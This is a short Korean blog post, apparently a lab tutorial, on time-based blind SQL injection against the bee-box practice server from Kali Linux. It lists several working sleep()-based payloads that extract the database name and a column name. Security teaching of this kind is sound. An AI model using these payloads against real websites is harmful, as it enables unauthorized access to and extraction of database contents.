profile image

L o a d i n g . . .

실습 환경 : kali-linux(공격자 pc) ---> bee-box(희생자 pc)

kali-linux에서 bee-box ip로 접속

 

 

choose your bug -> SQL injection - Blind - Time-Based

앞에서 배운 error based sqli, blind sqli 과 달리 존재하냐 존재하지 않느냐는 (참 거짓) 도 뜨지 않는다.

이럴 때 sleep() 을 이용해 time based sqli을 할 수 있다.

 

' or 1=1 and length(database())=5 and sleep(1)#

다음과 같이 입력했을 때, 실제로 sleep()이 먹혀서 계속 응답을 기다리는 현상을 볼 수 있다.

time based sqli은 블라인드 인젝션 + 뒤에 sleep()를 붙인 것으로, 값이 참일 때만 반응한다.

 

' or 1=1 and substring(database(), 1, 1) = 'b' and sleep(1)#

' or 1=1 and ascii(substring(database(), 1, 1)) = 98 and sleep(1)#

' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2 and sleep(1)#

몇 개를 더 입력해보았는데 실제로 sleep()이 먹히는 것을 확인하였다.

보통 다음과 같은 순서로 SQLi을 실시한다.

Error based SQLi -> Blind SQLi -> Time based SQLi

'Hacking > Webhacking' 카테고리의 다른 글

[Webhacking] XSS 취약점 실습  (0) 2021.04.15
[Webhacking] XSS 취약점 공격  (0) 2021.04.15
[Webhacking] Blind SQL Injection 실습  (0) 2021.04.11
[Webhacking] Error Based SQL Injection 실습  (0) 2021.04.10
[Webhacking] SQL Injection  (0) 2021.04.10
복사했습니다!